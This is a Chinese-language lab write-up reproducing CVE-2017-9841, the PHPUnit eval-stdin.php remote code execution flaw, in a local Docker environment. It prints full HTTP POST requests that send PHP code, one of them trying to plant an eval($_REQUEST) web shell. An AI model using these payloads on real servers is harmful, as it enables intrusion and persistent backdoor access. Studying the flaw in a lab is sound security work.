漏洞简介

composer是php包管理工具，使用composer安装扩展包将会在当前目录创建一个vendor文件夹，并将所有文件放在其中。通常这个目录需要放在web目录外，使用户不能直接访问。

phpunit是php中的单元测试工具，其4.8.19 ~ 4.8.27和5.0.10 ~ 5.6.2版本的vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php文件有如下代码：

eval('?>'.file_get_contents('php://input'));

如果该文件被用户直接访问到，将造成远程代码执行漏洞。

漏洞复现

执行如下命令启动一个php环境，其中phpunit被安装在web目录下。

docker-compose build
docker-compose up -d

web环境将启动在http://127.0.0.1:8080/。

虽然显示禁止访问，但通过抓包构造可造成代码执行

POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.phpA HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: hblid=OCkAkPEOWHj8QX5o3m39N0H02BOA0I12; olfsk=olfsk8528760320823083; ECS[visit_times]=1; private_content_version=e48e945c4e066c5afa30b51edd7c4541; pma_lang=en; pma_collation_connection=utf8_unicode_ci
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 18


<?=phpinfo()?>

直接将PHP代码作为POST Body发送给http://your-ip:8080/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php：

POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: hblid=OCkAkPEOWHj8QX5o3m39N0H02BOA0I12; olfsk=olfsk8528760320823083; ECS[visit_times]=1; private_content_version=e48e945c4e066c5afa30b51edd7c4541; pma_lang=en; pma_collation_connection=utf8_unicode_ci
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 62

<?=file_put_contents("2.php", '<?=eval($_REQUEST[1]);?>');

但权限拒绝

进入容器id的命令

(root💀guiltyfet)-[/home/guiltyfet/vulhub/phpunit/CVE-2017-9841]
└─# docker exec -it -u root 7539dda8ee0c /bin/bash                                                                                                                                                  1 ⨯
root@7539dda8ee0c:/var/www/html# ls
composer.json  composer.lock  vendor
root@7539dda8ee0c:/var/www/html# cd vendor
root@7539dda8ee0c:/var/www/html/vendor# cd phpunit/phpunit/src/Util/PHP/
root@7539dda8ee0c:/var/www/html/vendor/phpunit/phpunit/src/Util/PHP# ls
Default.php  Template  Windows.php  eval-stdin.php
root@7539dda8ee0c:/var/www/html/vendor/phpunit/phpunit/src/Util/PHP# cd eval-stdin.php 
bash: cd: eval-stdin.php: Not a directory
root@7539dda8ee0c:/var/www/html/vendor/phpunit/phpunit/src/Util/PHP# ls
Default.php  Template  Windows.php  eval-stdin.php
root@7539dda8ee0c:/var/www/html/vendor/phpunit/phpunit/src/Util/PHP# 

关闭

docker-compose down